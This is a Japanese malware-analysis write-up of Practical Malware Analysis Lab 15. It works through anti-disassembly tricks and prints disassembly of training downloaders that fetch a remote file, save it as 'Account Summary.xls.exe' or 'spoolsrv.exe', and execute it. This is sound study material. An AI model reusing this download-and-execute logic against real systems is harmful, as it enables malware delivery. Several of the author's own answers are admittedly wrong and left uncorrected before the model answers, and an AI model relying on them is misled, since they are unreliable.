PracticalMalwareAnalysis-Labs15 WriteUp

Practical Malware Analysis (by Michael Sikorski and Andrew Honig) Lab15のWriteUp。
まずは自分の解答を載せて、最後に模範解答を載せる。不正解の解答も戒めとしてそのまま載せる事とする。
ラボはこちらからダウンロード可能。

Lab 15-1

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab15-01.exe32ビット EXE96445ED6EBC49220D3FA9ACF5EB7F279

1. What anti-disassembly technique is used in this binary?

Lab15-01.exeには以下のようなコードが散見された。

.text:0040105E 33 C0                                   xor     eax, eax
.text:00401060 74 01                                   jz      short near ptr loc_401062+1
.text:00401062
.text:00401062                         loc_401062:                             ; CODE XREF: .text:00401060↑j
.text:00401062 E8 68 1C 30 40                          call    near ptr 40702CCFh
.text:00401067 00 FF                                   add     bh, bh
.text:00401069 15 00 20 40 00                          adc     eax, offset printf
.text:0040106E 83 C4 04                                add     esp, 4
.text:00401071 33 C0                                   xor     eax, eax

0x401060のジャンプ命令は常に実行される (冒頭のxor命令でeaxに0をセットしているため)。
アドレス0x401062+1、すなわち0x401063へジャンプするのだが、ジャンプ先の0x401063にあるコードをIDAが認識できていない。

2. What rogue opcode is the disassembly tricked into disassembling?

正しい逆アセンブルを表示させるには、まずアドレス0x401062をハイライトしてDキーを押し、データ形式に変換させる。すると以下のような表示に切り替わる。

.text:0040105E 33 C0                                   xor     eax, eax
.text:00401060 74 01                                   jz      short near ptr unk_401063
.text:00401060                         ; ---------------------------------------------------------------------------
.text:00401062 E8                                      db 0E8h
.text:00401063 68                      unk_401063      db  68h ; h             ; CODE XREF: .text:00401060↑j
.text:00401064 1C                                      db  1Ch
.text:00401065 30                                      db  30h ; 0
.text:00401066 40                                      db  40h ; @
.text:00401067                         ; ---------------------------------------------------------------------------
.text:00401067 00 FF                                   add     bh, bh
.text:00401069 15 00 20 40 00                          adc     eax, offset printf
.text:0040106E 83 C4 04                                add     esp, 4
.text:00401071 33 C0                                   xor     eax, eax

続いてジャンプ先のアドレス0x401063のデータを逆アセンブル形式に変換させる。アドレス0x401063をハイライトしてCキーを押す。すると以下のような表示に切り替わる。

.text:0040105E 33 C0                                   xor     eax, eax
.text:00401060 74 01                                   jz      short loc_401063
.text:00401060                         ; ---------------------------------------------------------------------------
.text:00401062 E8                                      db 0E8h
.text:00401063                         ; ---------------------------------------------------------------------------
.text:00401063
.text:00401063                         loc_401063:                             ; CODE XREF: .text:00401060↑j
.text:00401063 68 1C 30 40 00                          push    offset aSonIAmDisappoi ; "Son, I am disappoint."
.text:00401063                         ; ---------------------------------------------------------------------------
.text:00401068 FF                                      db 0FFh ; ÿ
.text:00401069                         ; ---------------------------------------------------------------------------
.text:00401069 15 00 20 40 00                          adc     eax, offset printf
.text:0040106E 83 C4 04                                add     esp, 4
.text:00401071 33 C0                                   xor     eax, eax

アドレス0x401062にあるE8というデータが無視されて、アドレス0x401063にpush命令が現れた。

E8はcall命令を表すオペコードだが、上記によるとE8は単なる無意味なデータである。このE8をIDAがcall命令と認識して逆アセンブルしたため、アドレス0x401063のコードが埋もれてしまったのである。

続いてアドレス0x401068をハイライトしてCキーを押す。すると以下のような表示に切り替わる。

.text:0040105E 33 C0                                   xor     eax, eax
.text:00401060 74 01                                   jz      short loc_401063
.text:00401060                         ; ---------------------------------------------------------------------------
.text:00401062 E8                                      db 0E8h
.text:00401063                         ; ---------------------------------------------------------------------------
.text:00401063
.text:00401063                         loc_401063:                             ; CODE XREF: .text:00401060↑j
.text:00401063 68 1C 30 40 00                          push    offset aSonIAmDisappoi ; "Son, I am disappoint."
.text:00401068 FF 15 00 20 40 00                       call    ds:printf
.text:0040106E 83 C4 04                                add     esp, 4
.text:00401071 33 C0                                   xor     eax, eax

以上からジャンプ先のアドレス0x401063は"Son, I am disappoint." というメッセージをprintfで出力することが分かった。

3. How many times this technique is used?

同様のアンチ逆アセンブルの処理は合計で4回行われていた。

4. What command-line argument will cause the program to print "Good Job!"?

アンチ逆アセンブル解除後のコードは以下のとおり。

.text:00401000                         loc_401000:                             ; CODE XREF: start+DE↓p
.text:00401000 55                                      push    ebp
.text:00401001 8B EC                                   mov     ebp, esp
.text:00401003 53                                      push    ebx
.text:00401004 56                                      push    esi
.text:00401005 57                                      push    edi
.text:00401006 83 7D 08 02                             cmp     dword ptr [ebp+8], 2
.text:0040100A 75 52                                   jnz     short loc_40105E
.text:0040100C 33 C0                                   xor     eax, eax
.text:0040100E 74 01                                   jz      short loc_401011
.text:0040100E                         ; ---------------------------------------------------------------------------
.text:00401010 E8                                      db 0E8h
.text:00401011                         ; ---------------------------------------------------------------------------
.text:00401011
.text:00401011                         loc_401011:                             ; CODE XREF: .text:0040100E↑j
.text:00401011 8B 45 0C                                mov     eax, [ebp+0Ch]
.text:00401014 8B 48 04                                mov     ecx, [eax+4]
.text:00401017 0F BE 11                                movsx   edx, byte ptr [ecx]
.text:0040101A 83 FA 70                                cmp     edx, 'p'
.text:0040101D 75 3F                                   jnz     short loc_40105E
.text:0040101F 33 C0                                   xor     eax, eax
.text:00401021 74 01                                   jz      short loc_401024
.text:00401021                         ; ---------------------------------------------------------------------------
.text:00401023 E8                                      db 0E8h
.text:00401024                         ; ---------------------------------------------------------------------------
.text:00401024
.text:00401024                         loc_401024:                             ; CODE XREF: .text:00401021↑j
.text:00401024 8B 45 0C                                mov     eax, [ebp+0Ch]
.text:00401027 8B 48 04                                mov     ecx, [eax+4]
.text:0040102A 0F BE 51 02                             movsx   edx, byte ptr [ecx+2]
.text:0040102E 83 FA 71                                cmp     edx, 'q'
.text:00401031 75 2B                                   jnz     short loc_40105E
.text:00401033 33 C0                                   xor     eax, eax
.text:00401035 74 01                                   jz      short loc_401038
.text:00401035                         ; ---------------------------------------------------------------------------
.text:00401037 E8                                      db 0E8h ; è
.text:00401038                         ; ---------------------------------------------------------------------------
.text:00401038
.text:00401038                         loc_401038:                             ; CODE XREF: .text:00401035↑j
.text:00401038 8B 45 0C                                mov     eax, [ebp+0Ch]
.text:0040103B 8B 48 04                                mov     ecx, [eax+4]
.text:0040103E 0F BE 51 01                             movsx   edx, byte ptr [ecx+1]
.text:00401042 83 FA 64                                cmp     edx, 'd'
.text:00401045 75 17                                   jnz     short loc_40105E
.text:00401047 33 C0                                   xor     eax, eax
.text:00401049 74 01                                   jz      short loc_40104C
.text:00401049                         ; ---------------------------------------------------------------------------
.text:0040104B E8                                      db 0E8h
.text:0040104C                         ; ---------------------------------------------------------------------------
.text:0040104C
.text:0040104C                         loc_40104C:                             ; CODE XREF: .text:00401049↑j
.text:0040104C 68 10 30 40 00                          push    offset aGoodJob ; "Good Job!"
.text:00401051 FF 15 00 20 40 00                       call    ds:printf
.text:00401057 83 C4 04                                add     esp, 4
.text:0040105A 33 C0                                   xor     eax, eax
.text:0040105C EB 15                                   jmp     short loc_401073
.text:0040105E                         ; ---------------------------------------------------------------------------
.text:0040105E
.text:0040105E                         loc_40105E:                             ; CODE XREF: .text:0040100A↑j
.text:0040105E                                                                 ; .text:0040101D↑j ...
.text:0040105E 33 C0                                   xor     eax, eax
.text:00401060 74 01                                   jz      short loc_401063
.text:00401060                         ; ---------------------------------------------------------------------------
.text:00401062 E8                                      db 0E8h
.text:00401063                         ; ---------------------------------------------------------------------------
.text:00401063
.text:00401063                         loc_401063:                             ; CODE XREF: .text:00401060↑j
.text:00401063 68 1C 30 40 00                          push    offset aSonIAmDisappoi ; "Son, I am disappoint."
.text:00401068 FF 15 00 20 40 00                       call    ds:printf
.text:0040106E 83 C4 04                                add     esp, 4
.text:00401071 33 C0                                   xor     eax, eax
.text:00401073
.text:00401073                         loc_401073:                             ; CODE XREF: .text:0040105C↑j
.text:00401073 5F                                      pop     edi
.text:00401074 5E                                      pop     esi
.text:00401075 5B                                      pop     ebx
.text:00401076 5D                                      pop     ebp
.text:00401077 C3                                      retn

上記のコードは、コマンドライン引数に渡された値がpdqと等しければ"Good Job!"というメッセージを出力し、それ以外の引数を受け取った場合は(または引数なしで実行された場合) は"Son, I am dissappoint."というメッセージを出力する。

>Lab15-01.exe pdq
Good Job!

Lab 15-2

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab15-02.exe32ビット EXE5004FEE79F03DF0D1D8F3AC527A5C046

設問に答えるに当たり、アンチ逆アセンブルの処理は事前に解除した。

1. What URL is initially requested by the program?

このマルウェアは、まずhttp://www.practicalmalwarenalaysis[.]com/bamboo.htmlへリクエストを送信する。

.text:0040115F 6A 00                                   push    0
.text:00401161 6A 00                                   push    0
.text:00401163 6A 00                                   push    0
.text:00401165 6A 00                                   push    0
.text:00401167 E8 1A 02 00 00                          call    GetURL_401386   ; returns the URL http://www.practicalmalwarenalaysis.com/bamboo.html
.text:0040116C 50                                      push    eax
.text:0040116D 8B 85 5C FD FE FF                       mov     eax, [ebp-102A4h]
.text:00401173 50                                      push    eax
.text:00401174 FF 15 64 20 40 00                       call    ds:InternetOpenUrlA

サブルーチン0x401386にて上述したURLを抽出してInternetOpenUrlAへ渡す。

.text:00401386 55                      push    ebp
.text:00401387 8B EC                   mov     ebp, esp
.text:00401389 83 EC 34                sub     esp, 34h
.text:0040138C C6 45 CC 68             mov     [ebp+Src], 'h'
.text:00401390 C6 45 CD 74             mov     [ebp+var_33], 't'
.text:00401394 C6 45 CE 74             mov     [ebp+var_32], 't'
.text:00401398 C6 45 CF 70             mov     [ebp+var_31], 'p'
.text:0040139C C6 45 D0 3A             mov     [ebp+var_30], ':'
.text:004013A0 C6 45 D1 2F             mov     [ebp+var_2F], '/'
.text:004013A4 C6 45 D2 2F             mov     [ebp+var_2E], '/'
.text:004013A8 C6 45 D3 77             mov     [ebp+var_2D], 'w'
.text:004013AC C6 45 D4 77             mov     [ebp+var_2C], 'w'
.text:004013B0 C6 45 D5 77             mov     [ebp+var_2B], 'w'
.text:004013B4 C6 45 D6 2E             mov     [ebp+var_2A], '.'
.text:004013B8 C6 45 D7 70             mov     [ebp+var_29], 'p'
.text:004013BC C6 45 D8 72             mov     [ebp+var_28], 'r'
.text:004013C0 C6 45 D9 61             mov     [ebp+var_27], 'a'
.text:004013C4 C6 45 DA 63             mov     [ebp+var_26], 'c'
.text:004013C8 C6 45 DB 74             mov     [ebp+var_25], 't'
.text:004013CC C6 45 DC 69             mov     [ebp+var_24], 'i'
.text:004013D0 C6 45 DD 63             mov     [ebp+var_23], 'c'
.text:004013D4 C6 45 DE 61             mov     [ebp+var_22], 'a'
.text:004013D8 C6 45 DF 6C             mov     [ebp+var_21], 'l'
.text:004013DC C6 45 E0 6D             mov     [ebp+var_20], 'm'
.text:004013E0 C6 45 E1 61             mov     [ebp+var_1F], 'a'
.text:004013E4 C6 45 E2 6C             mov     [ebp+var_1E], 'l'
.text:004013E8 C6 45 E3 77             mov     [ebp+var_1D], 'w'
.text:004013EC C6 45 E4 61             mov     [ebp+var_1C], 'a'
.text:004013F0 C6 45 E5 72             mov     [ebp+var_1B], 'r'
.text:004013F4 C6 45 E6 65             mov     [ebp+var_1A], 'e'
.text:004013F8 C6 45 E7 61             mov     [ebp+var_19], 'a'
.text:004013FC C6 45 E8 6E             mov     [ebp+var_18], 'n'
.text:00401400 C6 45 E9 61             mov     [ebp+var_17], 'a'
.text:00401404 C6 45 EA 6C             mov     [ebp+var_16], 'l'
.text:00401408 C6 45 EB 79             mov     [ebp+var_15], 'y'
.text:0040140C C6 45 EC 73             mov     [ebp+var_14], 's'
.text:00401410 C6 45 ED 69             mov     [ebp+var_13], 'i'
.text:00401414 C6 45 EE 73             mov     [ebp+var_12], 's'
.text:00401418 C6 45 EF 2E             mov     [ebp+var_11], '.'
.text:0040141C C6 45 F0 63             mov     [ebp+var_10], 'c'
.text:00401420 C6 45 F1 6F             mov     [ebp+var_F], 'o'
.text:00401424 C6 45 F2 6D             mov     [ebp+var_E], 'm'
.text:00401428 C6 45 F3 2F             mov     [ebp+var_D], '/'
.text:0040142C C6 45 F4 62             mov     [ebp+var_C], 'b'
.text:00401430 C6 45 F5 61             mov     [ebp+var_B], 'a'
.text:00401434 C6 45 F6 6D             mov     [ebp+var_A], 'm'
.text:00401438 C6 45 F7 62             mov     [ebp+var_9], 'b'
.text:0040143C C6 45 F8 6F             mov     [ebp+var_8], 'o'
.text:00401440 C6 45 F9 6F             mov     [ebp+var_7], 'o'
.text:00401444 C6 45 FA 2E             mov     [ebp+var_6], '.'
.text:00401448 C6 45 FB 68             mov     [ebp+var_5], 'h'
.text:0040144C C6 45 FC 74             mov     [ebp+var_4], 't'
.text:00401450 C6 45 FD 6D             mov     [ebp+var_3], 'm'
.text:00401454 C6 45 FE 6C             mov     [ebp+var_2], 'l'
.text:00401458 C6 45 FF 00             mov     [ebp+var_1], 0
.text:0040145C 8D 45 CC                lea     eax, [ebp+Src]
.text:0040145F 50                      push    eax             ; Src
.text:00401460 FF 15 34 20 40 00       call    ds:_strdup
.text:00401466 83 C4 04                add     esp, 4
.text:00401469 8B E5                   mov     esp, ebp
.text:0040146B 5D                      pop     ebp
.text:0040146C C3                      retn

2. How is the User-Agent generated?

ユーザーエージェントには基本的にgethostnameで取得したホスト名が使用されるが、ホスト名に以下の文字が含まれる場合は別の文字に置き換えられる。

  • ZはAに置き換えられる。
  • zはaに置き換えられる。
  • 9は0に置き換えられる。
text:00401047 68 00 01 00 00                          push    100h
.text:0040104C 8D 8D 00 FF FF FF                       lea     ecx, [ebp-100h]
.text:00401052 51                                      push    ecx
.text:00401053 FF 15 74 20 40 00                       call    ds:gethostname
.text:00401059 85 C0                                   test    eax, eax
.text:0040105B 75 16                                   jnz     short loc_401073
.text:0040105D 68 10 30 40 00                          push    offset aNotEnoughName ; "not enough name"
.text:00401062 FF 15 30 20 40 00                       call    ds:printf
.text:00401068 83 C4 04                                add     esp, 4
.text:0040106B 83 C8 FF                                or      eax, 0FFFFFFFFh
.text:0040106E E9 95 02 00 00                          jmp     exit_401308
.text:00401073                         ; ---------------------------------------------------------------------------
.text:00401073
.text:00401073                         loc_401073:                             ; CODE XREF: .text:0040105B↑j
.text:00401073 C7 85 60 FD FF FF 00 00+                mov     dword ptr [ebp-2A0h], 0
.text:0040107D EB 0F                                   jmp     short loc_40108E
.text:0040107F                         ; ---------------------------------------------------------------------------
.text:0040107F
.text:0040107F                         loc_40107F:                             ; CODE XREF: .text:loc_40113A↓j
.text:0040107F 8B 95 60 FD FF FF                       mov     edx, [ebp-2A0h] ; edx and ebp-2A0h are used as an index
.text:00401085 83 C2 01                                add     edx, 1
.text:00401088 89 95 60 FD FF FF                       mov     [ebp-2A0h], edx
.text:0040108E
.text:0040108E                         loc_40108E:                             ; CODE XREF: .text:0040107D↑j
.text:0040108E 81 BD 60 FD FF FF 00 01+                cmp     dword ptr [ebp-2A0h], 256
.text:00401098 0F 83 A1 00 00 00                       jnb     InternetOpenA_40113F
.text:0040109E 8B 85 60 FD FF FF                       mov     eax, [ebp-2A0h]
.text:004010A4 0F BE 8C 05 00 FF FF FF                 movsx   ecx, byte ptr [ebp+eax-100h]
.text:004010AC 85 C9                                   test    ecx, ecx
.text:004010AE 75 05                                   jnz     short loc_4010B5
.text:004010B0 E9 8A 00 00 00                          jmp     InternetOpenA_40113F
.text:004010B5                         ; ---------------------------------------------------------------------------
.text:004010B5
.text:004010B5                         loc_4010B5:                             ; CODE XREF: .text:004010AE↑j
.text:004010B5 8B 95 60 FD FF FF                       mov     edx, [ebp-2A0h]
.text:004010BB 0F BE 84 15 00 FF FF FF                 movsx   eax, byte ptr [ebp+edx-100h]
.text:004010C3 83 F8 5A                                cmp     eax, 'Z'        ; check if the letter equals to "Z"
.text:004010C6 75 10                                   jnz     short loc_4010D8
.text:004010C8 8B 8D 60 FD FF FF                       mov     ecx, [ebp-2A0h]
.text:004010CE C6 84 0D 00 FF FF FF 41                 mov     byte ptr [ebp+ecx-100h], 'A' ; replace "Z" with "A"
.text:004010D6 EB 62                                   jmp     short loc_40113A
.text:004010D8                         ; ---------------------------------------------------------------------------
.text:004010D8
.text:004010D8                         loc_4010D8:                             ; CODE XREF: .text:004010C6↑j
.text:004010D8 8B 95 60 FD FF FF                       mov     edx, [ebp-2A0h]
.text:004010DE 0F BE 84 15 00 FF FF FF                 movsx   eax, byte ptr [ebp+edx-100h]
.text:004010E6 83 F8 7A                                cmp     eax, 'z'        ; check if the letter equals "z"
.text:004010E9 75 10                                   jnz     short loc_4010FB
.text:004010EB 8B 8D 60 FD FF FF                       mov     ecx, [ebp-2A0h]
.text:004010F1 C6 84 0D 00 FF FF FF 61                 mov     byte ptr [ebp+ecx-100h], 'a' ; replace "z" with "a"
.text:004010F9 EB 3F                                   jmp     short loc_40113A
.text:004010FB                         ; ---------------------------------------------------------------------------
.text:004010FB
.text:004010FB                         loc_4010FB:                             ; CODE XREF: .text:004010E9↑j
.text:004010FB 8B 95 60 FD FF FF                       mov     edx, [ebp-2A0h]
.text:00401101 0F BE 84 15 00 FF FF FF                 movsx   eax, byte ptr [ebp+edx-100h]
.text:00401109 83 F8 39                                cmp     eax, '9'        ; check if the letter equals "9"
.text:0040110C 75 10                                   jnz     short loc_40111E
.text:0040110E 8B 8D 60 FD FF FF                       mov     ecx, [ebp-2A0h]
.text:00401114 C6 84 0D 00 FF FF FF 30                 mov     byte ptr [ebp+ecx-100h], '0' ; replace "9" with "0"
.text:0040111C EB 1C                                   jmp     short loc_40113A
.text:0040111E                         ; ---------------------------------------------------------------------------
.text:0040111E
.text:0040111E                         loc_40111E:                             ; CODE XREF: .text:0040110C↑j
.text:0040111E 8B 95 60 FD FF FF                       mov     edx, [ebp-2A0h]
.text:00401124 8A 84 15 00 FF FF FF                    mov     al, [ebp+edx-100h]
.text:0040112B 04 01                                   add     al, 1
.text:0040112D 8B 8D 60 FD FF FF                       mov     ecx, [ebp-2A0h]
.text:00401133 88 84 0D 00 FF FF FF                    mov     [ebp+ecx-100h], al
.text:0040113A
.text:0040113A                         loc_40113A:                             ; CODE XREF: .text:004010D6↑j
.text:0040113A                                                                 ; .text:004010F9↑j ...
.text:0040113A E9 40 FF FF FF                          jmp     loc_40107F

3. What does the program look for in the page it initially requests?

サーバーからの応答ページにBamboo::という文字列が含まれているか確認する。

.text:004011D5 68 30 30 40 00                          push    offset aBamboo  ; "Bamboo::"
.text:004011DA 8D 95 60 FD FE FF                       lea     edx, [ebp-102A0h]
.text:004011E0 52                                      push    edx
.text:004011E1 FF 15 2C 20 40 00                       call    ds:strstr       ; check the first occurrence of "Bamboo::" within HTTP response
.text:004011E7 83 C4 08                                add     esp, 8
.text:004011EA 89 85 68 FD FF FF                       mov     [ebp-298h], eax
.text:004011F0 83 BD 68 FD FF FF 00                    cmp     dword ptr [ebp-298h], 0
.text:004011F7 0F 84 09 01 00 00                       jz      loc_401306
.text:004011FD 68 3C 30 40 00                          push    offset asc_40303C ; "::"
.text:00401202 8B 85 68 FD FF FF                       mov     eax, [ebp-298h]
.text:00401208 50                                      push    eax
.text:00401209 FF 15 2C 20 40 00                       call    ds:strstr       ; check the first occurrence of "::" within "Bamboo::"
.text:0040120F 83 C4 08                                add     esp, 8
.text:00401212 C6 00 00                                mov     byte ptr [eax], 0

4. What does the program do with the information it extracts from the page?

このマルウェアはサーバーの応答ページに含まれているBamboo:: の直後の文字列を抽出してInternetOpenUrlAに渡す。よってBamboo::以降にはマルウェアが次に通信するべきURLが記述されているものと考えられる。

.text:00401219 E8 F1 00 00 00                          call    GetFilename_40130F ; returns the filename "Account Summary.xls.exe"
.text:0040121E 89 85 58 FD FE FF                       mov     [ebp-102A8h], eax
.text:00401224 68 00 00 A0 00                          push    0A00000h
.text:00401229 FF 15 28 20 40 00                       call    ds:malloc
.text:0040122F 83 C4 04                                add     esp, 4
.text:00401232 89 85 54 FD FE FF                       mov     [ebp-102ACh], eax
.text:00401238 8B 8D 68 FD FF FF                       mov     ecx, [ebp-298h] ; copies the pointer to a string "Bamboo::" to ecx
.text:0040123E 83 C1 08                                add     ecx, 8          ; ecx now points to a string immediately after "Bamboo::". str[0] = "B", str[1] = "a", str[2] = "m", str[3] = "b", str[4] = "o", str[5], = "o", str[6] = ":", str[7] = ":"
.text:00401241 89 8D 68 FD FF FF                       mov     [ebp-298h], ecx ; ebp-298h now points to a string immediately after "Bamboo::"
.text:00401247 6A 00                                   push    0
.text:00401249 6A 00                                   push    0
.text:0040124B 6A 00                                   push    0
.text:0040124D 6A 00                                   push    0
.text:0040124F 8B 95 68 FD FF FF                       mov     edx, [ebp-298h]
.text:00401255 52                                      push    edx             ; URL
.text:00401256 8B 85 5C FD FE FF                       mov     eax, [ebp-102A4h]
.text:0040125C 50                                      push    eax
.text:0040125D FF 15 64 20 40 00                       call    ds:InternetOpenUrlA
.text:00401263 89 85 64 FD FF FF                       mov     [ebp-29Ch], eax
.text:00401269 74 03                                   jz      short loc_40126E
.text:0040126B 75 01                                   jnz     short loc_40126E

Bamboo::から抽出したURLとの通信が成功した場合、その応答データをAccount Summary.xls.exeというファイルに書き込む。(このファイル名はサブルーチン0x40130Fにて組み立てられる)

.text:0040126E 8D 8D FC FE FF FF                       lea     ecx, [ebp-104h]
.text:00401274 51                                      push    ecx
.text:00401275 68 00 00 01 00                          push    10000h
.text:0040127A 8B 95 54 FD FE FF                       mov     edx, [ebp-102ACh]
.text:00401280 52                                      push    edx
.text:00401281 8B 85 64 FD FF FF                       mov     eax, [ebp-29Ch]
.text:00401287 50                                      push    eax
.text:00401288 FF 15 5C 20 40 00                       call    ds:InternetReadFile
.text:0040128E 85 C0                                   test    eax, eax
.text:00401290 74 74                                   jz      short loc_401306
.text:00401292 83 BD FC FE FF FF 00                    cmp     dword ptr [ebp-104h], 0
.text:00401299 76 6B                                   jbe     short loc_401306
.text:0040129B 68 40 30 40 00                          push    offset aWb      ; "wb"
.text:004012A0 8B 8D 58 FD FE FF                       mov     ecx, [ebp-102A8h]
.text:004012A6 51                                      push    ecx
.text:004012A7 FF 15 24 20 40 00                       call    ds:fopen        ; open the file "Account Summary.xls.exe"
.text:004012AD 83 C4 08                                add     esp, 8
.text:004012B0 89 85 50 FD FE FF                       mov     [ebp-102B0h], eax
.text:004012B6 8B 95 50 FD FE FF                       mov     edx, [ebp-102B0h]
.text:004012BC 52                                      push    edx
.text:004012BD 6A 01                                   push    1
.text:004012BF 8B 85 FC FE FF FF                       mov     eax, [ebp-104h]
.text:004012C5 50                                      push    eax
.text:004012C6 8B 8D 54 FD FE FF                       mov     ecx, [ebp-102ACh]
.text:004012CC 51                                      push    ecx
.text:004012CD FF 15 20 20 40 00                       call    ds:fwrite       ; writes a payload downloaded from URL into a file "Account Summary.xls.exe"
.text:004012D3 83 C4 10                                add     esp, 10h
.text:004012D6 8B 95 50 FD FE FF                       mov     edx, [ebp-102B0h]
.text:004012DC 52                                      push    edx
.text:004012DD FF 15 1C 20 40 00                       call    ds:fclose

書き込みが完了するとAccount Summary.xls.exeを実行する。

.text:004012EF                         loc_4012EF:                             ; CODE XREF: .text:loc_4012E8↑j
.text:004012EF 6A 0A                                   push    0Ah
.text:004012F1 6A 00                                   push    0
.text:004012F3 6A 00                                   push    0
.text:004012F5 8B 85 58 FD FE FF                       mov     eax, [ebp-102A8h]
.text:004012FB 50                                      push    eax
.text:004012FC 6A 00                                   push    0
.text:004012FE 6A 00                                   push    0
.text:00401300 FF 15 54 20 40 00                       call    ds:ShellExecuteA ; execute the file "Account Summary.xls.exe"

Lab 15-3

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab15-03.exe32ビット EXEBFADB08F07304B6B293707E4F9C9F1A9

設問に答えるに当たり、アンチ逆アセンブルの処理は事前に解除した。

1. How is the malicious code initially called?

このマルウェアはSEH構造体を書き換えて、わざとプログラムをクラッシュさせて例外処理を引き起こすことで、悪意のあるコードを実行する。

以下のコードは、SEHのリンクトリストの先頭に悪意のあるコードへのポインタ (0x4014C0)を追加して、わざとプログラムをクラッシュさせて (この場合はゼロによる除算) 例外処理を引き起こし、悪意のあるコード (0x4014C0)へ処理を飛ばす。

.text:00401497 68 C0 14 40 00                          push    offset MaliciousCode_4014C0 ; pointer to malicious excetion handler function
.text:0040149C 64 FF 35 00 00 00 00                    push    large dword ptr fs:0
.text:004014A3 64 89 25 00 00 00 00                    mov     large fs:0, esp
.text:004014AA 33 C9                                   xor     ecx, ecx
.text:004014AC F7 F1                                   div     ecx             ; division by zero will cause an exception
.text:004014AE 68 B4 33 40 00                          push    offset aForMoreInforma ; "For more information please visit our w"...
.text:004014B3 E8 D6 00 00 00                          call    printf
.text:004014B8 83 C4 04                                add     esp, 4
.text:004014BB 5F                                      pop     edi
.text:004014BC 5E                                      pop     esi
.text:004014BD 5B                                      pop     ebx
.text:004014BE 5D                                      pop     ebp
.text:004014BF C3                                      retn
.text:004014C0                         ; ---------------------------------------------------------------------------
.text:004014C0
.text:004014C0                         MaliciousCode_4014C0:                   ; DATA XREF: .text:loc_401497↑o
.text:004014C0 8B 64 24 08                             mov     esp, [esp+8]    ; These 6 lines of code is recovering the stack to its original position prior to the exception
.text:004014C4 64 A1 00 00 00 00                       mov     eax, large fs:0
.text:004014CA 8B 00                                   mov     eax, [eax]
.text:004014CC 8B 00                                   mov     eax, [eax]
.text:004014CE 64 A3 00 00 00 00                       mov     large fs:0, eax
.text:004014D4 83 C4 08                                add     esp, 8
.text:004014D4                         ; ---------------------------------------------------------------------------
.text:004014D7 EB                                      db 0EBh
.text:004014D8 FF                                      db 0FFh ; ÿ
.text:004014D9 C0                                      db 0C0h
.text:004014DA 48                                      db  48h ; H
.text:004014DB E8                                      db 0E8h ; è
.text:004014DC 00                                      db    0
.text:004014DD 00                                      db    0
.text:004014DE 00                                      db    0
.text:004014DF 00                                      db    0
.text:004014E0                         ; ---------------------------------------------------------------------------
.text:004014E0 55                                      push    ebp
.text:004014E1 8B EC                                   mov     ebp, esp
.text:004014E3 53                                      push    ebx
.text:004014E4 56                                      push    esi
.text:004014E5 57                                      push    edi
.text:004014E6 68 10 30 40 00                          push    offset unk_403010
.text:004014EB E8 44 00 00 00                          call    XOR_FF_401534   ; XOR decodes the URL http://www.practicalmalwareanalysis.com/tt.html
.text:004014F0 83 C4 04                                add     esp, 4
.text:004014F3 68 40 30 40 00                          push    offset unk_403040
.text:004014F8 E8 37 00 00 00                          call    XOR_FF_401534   ; XOR decodes the filename spoolsrv.exe

2. What does the malicious code do?

マルウェアを実行したところ、現在実行中のプロセス一覧を列挙してコンソールに出力した。その後、http://www.practicalmalwareanalysis[.]com/tt.htmlというURLへHTTPのリクエストを送信していた。

3. What URL does the malware use?

このマルウェアはhttp://www.practicalmalwareanalysis[.]com/tt.htmlというURLと通信を行う。このURLはXORエンコードされた状態でアドレス0x0403010に保持されており、サブルーチン0x401534にて暗号鍵0xffを用いてデコードされる。

.text:004014E6 68 10 30 40 00                          push    offset unk_403010
.text:004014EB E8 44 00 00 00                          call    XOR_FF_401534   ; XOR decodes the URL http://www.practicalmalwareanalysis.com/tt.html

4. What filename does the malware use?

このマルウェアはURL http://www.practicalmalwareanalysis[.]com/tt.htmlからファイルをダウンロードする。ダウンロードの際に使用されるファイル名はspoolsrv.exeである。このファイル名はXORエンコードされた状態でアドレス0x403040に保持されており、サブルーチン0x401534にて暗号鍵0xffを用いてデコードされる。

.text:004014F3 68 40 30 40 00                          push    offset unk_403040
.text:004014F8 E8 37 00 00 00                          call    XOR_FF_401534   ; XOR decodes the filename spoolsrv.exe

ファイルのダウンロードが完了するとWinExecによってファイルが実行される。

.text:00401500 6A 00                                   push    0
.text:00401502 6A 00                                   push    0
.text:00401504 68 40 30 40 00                          push    offset unk_403040
.text:00401509 68 10 30 40 00                          push    offset unk_403010
.text:0040150E 6A 00                                   push    0
.text:00401510 E8 73 00 00 00                          call    URLDownloadToFileA ; Downloads the file from http://www.practicalmalwareanalysis.com/tt.html and save as spoolsrv.exe
.text:00401515 74 03                                   jz      short loc_40151A
.text:00401517 75 01                                   jnz     short loc_40151A
.text:00401517                         ; ---------------------------------------------------------------------------
.text:00401519 E8                                      db 0E8h
.text:0040151A                         ; ---------------------------------------------------------------------------
.text:0040151A
.text:0040151A                         loc_40151A:                             ; CODE XREF: .text:00401515↑j
.text:0040151A                                                                 ; .text:00401517↑j
.text:0040151A 6A 00                                   push    0
.text:0040151C 68 40 30 40 00                          push    offset unk_403040
.text:00401521 FF 15 34 20 40 00                       call    ds:WinExec      ; Execute spoolsrv.exe
  • このマルウェアは、一見、実行中のプロセス一覧を列挙してコンソール出力するだけの無害なプログラムである。
  • しかし、その裏ではSEH構造体を書き換えて、わざとプログラムをクラッシュさせて例外処理を引き起こすことで、悪意のあるコードを実行する。
  • 悪意のあるコードに処理が移ると、マルウェアはURL http://www.practicalmalwareanalysis[.]com/tt.html からファイルをダウンロードしてspoolsrv.exeとして保存し、その後spoolsrv.exeを実行する。

模範解答

Lab 15-1

1. This program uses false conditional branches: an xor eax, eax, followed by jz.

2. The program tricks the disassembler into disassembling the opcode 0xE8, the first of a 5-byte call instruction, which immediately follows the jz instruction.

3. The false conditional branch technique is used five times in this program.

4. The command-line argument pdq will cause the program to print "Good Job!".

Lab 15-2

1. The URL initially requested is http://www.practicalmalwareanalysis.com/bamboo.html.

2. The User-Agent strings is generated by adding 1 to each letter and number in the hostname (Z and 9 are rotated to A and 0).

3. The program looks for the string Bamboo:: in the page it requested.

4. The program searches beyond the Bamboo:: string to find additional ::, which it converts to a NULL terminator. The string in between Bamboo and the terminator is downloaded to a file named Account Summary.xls.exe and executed.

Lab 15-3

1. The malicious code is initially called by overwriting the return pointer from the main function.

2. The malicious code downloads a file from a URL and launches it with WinExec.

3. The URL used by the program is http://www.practicalmalwareanalysis.com/tt.html.

4. The filename used by the program is spoolsrv.exe.

答え合わせ
